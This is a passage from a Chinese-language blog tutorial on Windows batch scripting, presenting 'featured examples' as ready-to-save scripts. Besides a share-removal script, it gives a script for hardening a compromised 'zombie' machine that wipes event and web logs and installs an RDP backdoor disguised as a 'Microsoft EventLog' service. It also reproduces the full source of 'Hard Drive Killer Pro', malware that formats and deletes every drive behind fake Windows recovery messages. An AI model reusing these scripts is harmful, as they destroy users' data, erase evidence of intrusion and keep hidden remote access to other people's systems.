<P>@REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和</P>
<P>只读，并config为自启动] <BR>@REM 这样不是更安全. </P>
<P><BR>六.精彩实例放送。 </P>
<P>1.删除win2k/xp系统默认共享的批处理 <BR>------------------------ cut here then save as .bat or .cmd file --------------------------- </P>
<P>@echo preparing to delete all the default shares.when ready pres any key. <BR>@pause <BR>@echo off </P>
<P>:Rem check parameters if null show usage. <BR>if {%1}=={} goto :Usage </P>
<P>:Rem code start. <BR>echo. <BR>echo ------------------------------------------------------ <BR>echo. <BR>echo Now deleting all the default shares. <BR>echo. <BR>net share %1$ /delete <BR>net share %2$ /delete <BR>net share %3$ /delete <BR>net share %4$ /delete <BR>net share %5$ /delete <BR>net share %6$ /delete <BR>net share %7$ /delete <BR>net share %8$ /delete <BR>net share %9$ /delete <BR>net stop Server <BR>net start Server <BR>echo. <BR>echo All the shares have been deleteed <BR>echo. <BR>echo ------------------------------------------------------ <BR>echo. <BR>echo Now modify the registry to change the system default properties. <BR>echo. <BR>echo Now creating the registry file <BR>echo Windows Registry Editor Version 5.00&gt; c:\delshare.reg <BR>echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]&gt;&gt; </P>
<P>c:\delshare.reg <BR>echo "AutoShareWks"=dword:00000000&gt;&gt; c:\delshare.reg <BR>echo "AutoShareServer"=dword:00000000&gt;&gt; c:\delshare.reg <BR>echo Nowing using the registry file to chang the system default properties. <BR>regedit /s c:\delshare.reg <BR>echo Deleting the temprotarily files. <BR>del c:\delshare.reg <BR>goto :END </P>
<P>:Usage <BR>echo. <BR>echo ------------------------------------------------------ <BR>echo. <BR>echo ☆ A example for batch file ☆ <BR>echo ☆ [Use batch file to change the sysytem share properties.] ☆ <BR>echo. <BR>echo Author：Ex4rch <BR>echo Mail:Ex4rch@hotmail.com QQ:1672602 <BR>echo. <BR>echo Error：Not enough parameters <BR>echo. <BR>echo ☆ Please enter the share disk you wanna delete ☆ <BR>echo. <BR>echo For instance，to delete the default shares: <BR>echo delshare c d e ipc admin print <BR>echo. <BR>echo If the disklable is not as C: D: E: ，Please chang it youself. <BR>echo. <BR>echo example： <BR>echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ： <BR>echo delshare c d e x y z ipc admin print <BR>echo. <BR>echo *** you can delete nine shares once in a useing *** <BR>echo. <BR>echo ------------------------------------------------------ <BR>goto :EOF </P>
<P>:END <BR>echo. <BR>echo ------------------------------------------------------ <BR>echo. <BR>echo OK,delshare.bat has deleted all the share you assigned. <BR>echo.Any questions ,feel free to mail to <A href="mailto:Ex4rch@hotmail.com">Ex4rch@hotmail.com</A>. <BR>echo <BR>echo. <BR>echo ------------------------------------------------------ <BR>echo. </P>
<P>:EOF <BR>echo end of the batch file <BR>------------------------ cut here then save as .bat or .cmd file --------------------------- </P>
<P><BR>2.全面加固系统（给肉鸡打补丁）的批处理文件 <BR>------------------------ cut here then save as .bat or .cmd file --------------------------- </P>
<P>@echo Windows Registry Editor Version 5.00 &gt;patch.dll <BR>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] </P>
<P>&gt;&gt;patch.dll </P>
<P>@echo "AutoShareServer"=dword:00000000 &gt;&gt;patch.dll <BR>@echo "AutoShareWks"=dword:00000000 &gt;&gt;patch.dll <BR>@REM [禁止共享] </P>
<P>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] &gt;&gt;patch.dll <BR>@echo "restrictanonymous"=dword:00000001 &gt;&gt;patch.dll <BR>@REM [禁止匿名登录] </P>
<P>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] &gt;&gt;patch.dll <BR>@echo "SMBDeviceEnabled"=dword:00000000 &gt;&gt;patch.dll <BR>@REM [禁止及文件访问和打印共享] </P>
<P>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] &gt;&gt;patch.dll <BR>@echo "Start"=dword:00000004 &gt;&gt;patch.dll <BR>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] &gt;&gt;patch.dll <BR>@echo "Start"=dword:00000004 &gt;&gt;patch.dll <BR>@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] &gt;&gt;patch.dll <BR>@echo "ShutdownWithoutLogon"="0" &gt;&gt;patch.dll <BR>@REM [禁止登录前关机] </P>
<P>@echo "DontDisplayLastUserName"="1" &gt;&gt;patch.dll <BR>@REM [禁止显示前一个登录用户名称] <BR>@regedit /s patch.dll </P>
<P>------------------------ cut here then save as .bat or .cmd file --------------------------- </P>
<P>下面命令是清除肉鸡所有日志，禁止一些危险的服务，并修改肉鸡的terminnal service留跳后路。 <BR>@regedit /s patch.dll <BR>@net stop w3svc <BR>@net stop event log <BR>@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q <BR>@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q <BR>@del c:\winnt\system32\config\*.event /f /q <BR>@del c:\winnt\system32dtclog\*.* /f /q <BR>@del c:\winnt\*.txt /f /q <BR>@del c:\winnt\*.log /f /q <BR>@net start w3svc <BR>@net start event log <BR>@rem [删除日志] </P>
<P>@net stop lanmanserver /y <BR>@net stop Schedule /y <BR>@net stop RemoteRegistry /y <BR>@del patch.dll <BR>@echo The server has been patched,Have fun. <BR>@del patch.bat <BR>@REM [禁止一些危险的服务。] </P>
<P>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-</P>
<P>Tcp] &gt;&gt;patch.dll <BR>@echo "PortNumber"=dword:00002010 &gt;&gt;patch.dll <BR>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp </P>
<P>&gt;&gt;patch.dll <BR>@echo "PortNumber"=dword:00002012 &gt;&gt;patch.dll <BR>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] &gt;&gt;patch.dll <BR>@echo "Start"=dword:00000002 &gt;&gt;patch.dll <BR>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] &gt;&gt;patch.dll <BR>@echo "Start"=dword:00000002 &gt;&gt;patch.dll <BR>@echo "ErrorControl"=dword:00000001 &gt;&gt;patch.dll <BR>@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ </P>
<P>&gt;&gt;patch.dll <BR>@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ </P>
<P>&gt;&gt;patch.dll <BR>@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 &gt;&gt;patch.dll <BR>@echo "ObjectName"="LocalSystem" &gt;&gt;patch.dll <BR>@echo "Type"=dword:00000010 &gt;&gt;patch.dll <BR>@echo "Description"="Keep record of the program and windows' message。" &gt;&gt;patch.dll <BR>@echo "DisplayName"="Microsoft EventLog" &gt;&gt;patch.dll <BR>@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] &gt;&gt;patch.dll <BR>@echo "Start"=dword:00000004 &gt;&gt;patch.dll <BR>@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe <BR>@REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路] </P>
<P><BR>3.Hard Drive Killer Pro Version 4.0（玩批处理到这个水平真的不容易了。） </P>
<P>------------------------ cut here then save as .bat or .cmd file --------------------------- <BR>@echo off <BR>rem This program is dedecated to a very special person that does not want to be named. <BR>:start <BR>cls <BR>echo PLEASE WAIT WHILE PROGRAM LOADS . . . <BR>call attrib -r -h c:\autoexec.bat &gt;nul <BR>echo @echo off &gt;c:\autoexec.bat <BR>echo call format c: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat <BR>call attrib +r +h c:\autoexec.bat &gt;nul <BR>rem Drive checking and assigning the valid drives to the drive variable. </P>
<P>set drive= <BR>set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z </P>
<P>rem code insertion for Drive Checking takes place here. <BR>rem drivechk.bat is the file name under the root directory. <BR>rem As far as the drive detection and drive variable settings, don't worry about how it <BR>rem works, it's d\*amn to complicated for the average or even the expert batch programmer. <BR>rem Except for Tom Lavedas. </P>
<P>echo @echo off &gt;drivechk.bat <BR>echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" &gt; nul &gt;{t}.bat <BR>%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat <BR>del {t}.bat <BR>echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat </P>
<P>cls <BR>echo PLEASE WAIT WHILE PROGRAM LOADS . . . </P>
<P>rem When errorlevel is 1, then the above is not true, if 0, then it's true. <BR>rem Opposite of binary rules. If 0, it will elaps to the next command. </P>
<P>echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" &gt; nul &gt;{t}.bat <BR>%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat <BR>del {t}.bat <BR>echo if errorlevel 1 goto enddc &gt;&gt;drivechk.bat </P>
<P>cls <BR>echo PLEASE WAIT WHILE PROGRAM LOADS . . . </P>
<P>rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. <BR>rem if errorlevel is 0, then it will elaps to the next command. </P>
<P>echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" &gt; nul &gt;{t}.bat <BR>%comspec% /e:2048 /c {t}.bat &gt;&gt;drivechk.bat <BR>del {t}.bat <BR>echo if errorlevel 1 set drive=%%drive%% %%1 &gt;&gt;drivechk.bat </P>
<P>cls <BR>echo PLEASE WAIT WHILE PROGRAM LOADS . . . </P>
<P>rem if it's errorlevel 1, then the specified drive is a hard or floppy drive. <BR>rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive. </P>
<P>echo :enddc &gt;&gt;drivechk.bat </P>
<P>rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". </P>
<P>rem Now we will use the program drivechk.bat to attain valid drive information. </P>
<P>:Sampledrv </P>
<P>for %%a in (%alldrive%) do call drivechk.bat %%a &gt;nul <BR>del drivechk.bat &gt;nul <BR>if %drive.==. set drive=c </P>
<P>:form_del <BR>call attrib -r -h c:\autoexec.bat &gt;nul <BR>echo @echo off &gt;c:\autoexec.bat <BR>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </P>
<P>&gt;&gt;c:\autoexec.bat <BR>echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat <BR>echo cls &gt;&gt;c:\autoexec.bat <BR>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </P>
<P>&gt;&gt;c:\autoexec.bat <BR>echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat <BR>echo cls &gt;&gt;c:\autoexec.bat <BR>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </P>
<P>&gt;&gt;c:\autoexec.bat <BR>echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat <BR>echo cls &gt;&gt;c:\autoexec.bat <BR>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </P>
<P>&gt;&gt;c:\autoexec.bat <BR>echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample &gt;nul &gt;&gt;c:\autoexec.bat <BR>echo cls &gt;&gt;c:\autoexec.bat <BR>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </P>
<P>&gt;&gt;c:\autoexec.bat <BR>echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga &gt;nul &gt;&gt;c:\autoexec.bat <BR>echo cls &gt;&gt;c:\autoexec.bat <BR>echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . </P>
<P>&gt;&gt;c:\autoexec.bat <BR>echo for %%%%a in (%drive%) call deltree /y %%%%a:\ &gt;nul &gt;&gt;c:\autoexec.bat <BR>echo cd\ &gt;&gt;c:\autoexec.bat <BR>echo cls &gt;&gt;c:\autoexec.bat <BR>echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. </P>
<P>&gt;&gt;c:\autoexec.bat <BR>echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to </P>
<P>tell you the following. . . &gt;&gt;c:\autoexec.bat <BR>echo echo 1. To make people aware that security should not be taken for granted. </P>
<P>&gt;&gt;c:\autoexec.bat <BR>echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! </P>
<P>&gt;&gt;c:\autoexec.bat <BR>echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is </P>
<P>dead. &gt;&gt;c:\autoexec.bat <BR>echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal </P>
<P>Party.&gt;&gt;c:\autoexec.bat </P>
<P>echo echo. &gt;&gt;c:\autoexec.bat <BR>echo echo Regards, &gt;&gt;c:\autoexec.bat <BR>echo echo. &gt;&gt;c:\autoexec.bat <BR>echo echo Munga Bunga &gt;&gt;c:\autoexec.bat <BR>call attrib +r +h c:\autoexec.bat </P>
<P>:makedir <BR>if exist c:\temp.bat attrib -r -h c:\temp.bat &gt;nul <BR>echo @echo off &gt;c:\temp.bat <BR>echo %%1:\ &gt;&gt;c:\temp.bat <BR>echo cd\ &gt;&gt;c:\temp.bat <BR>echo :startmd &gt;&gt;c:\temp.bat <BR>echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a </P>
<P>&gt;&gt;c:\temp.bat <BR>echo for %%%%a in ("&gt;ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! &gt;&gt;c:\temp.bat <BR>echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%</P>
<P>%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto </P>
<P>startmd &gt;&gt;c:\temp.bat <BR>call attrib +r +h c:\temp.bat &gt;nul </P>
<P>cls <BR>echo Initializing Variables . . . <BR>rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for </P>
<P>further destruction. <BR>for %%a in (%drive%) do call format %%a: /q /u /autoSample &gt;nul <BR>cls <BR>echo Initializing Variables . . . <BR>echo Validating Data . . . <BR>for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul <BR>cls <BR>echo Initializing Variables . . . <BR>echo Validating Data . . . <BR>echo Analyzing System Structure . . . <BR>for %%a in (%drive%) call attrib -r -h %%a:\ /S &gt;nul <BR>call attrib +r +h c:\temp.bat &gt;nul <BR>call attrib +r +h c:\autoexec.bat &gt;nul <BR>cls <BR>echo Initializing Variables . . . <BR>echo Validating Data . . . <BR>echo Analyzing System Structure . . . <BR>echo Initializing Application . . . </P>
<P>for %%a in (%drive%) call deltree /y %%a:\*. &gt;nul <BR>cls <BR>echo Initializing Variables . . . <BR>echo Validating Data . . . <BR>echo Analyzing System Structure . . . <BR>echo Initializing Application . . . <BR>echo Starting Application . . . <BR>for %%a in (%drive%) do call c:\temp.bat %%a Munga &gt;nul </P>
<P>cls <BR>echo Thank you for using a Munga Bunga product. <BR>echo. <BR>echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. <BR>echo. <BR>echo Here is a joke for you . . . <BR>echo. <BR>echo Q). What's the worst thing about being an egg? <BR>echo A). You only get laid once. <BR>echo. <BR>echo HAHAHAHA, get it? Don't you just love that one? <BR>echo. <BR>echo Regards, <BR>echo. <BR>echo Munga Bunga </P>
<P>:end </P>
<P>rem Hard Drive Killer Pro Version 4.0, enjoy!!!! <BR>rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get </P>
<P>out of here). </P>
<P><BR>&nbsp;</P><img src ="http://www.blogjava.net/hangke20020/aggbug/35574.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/hangke20020/" target="_blank">八云</a> 2006-03-16 11:14 <a href="http://www.blogjava.net/hangke20020/archive/2006/03/16/35574.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item></channel></rss>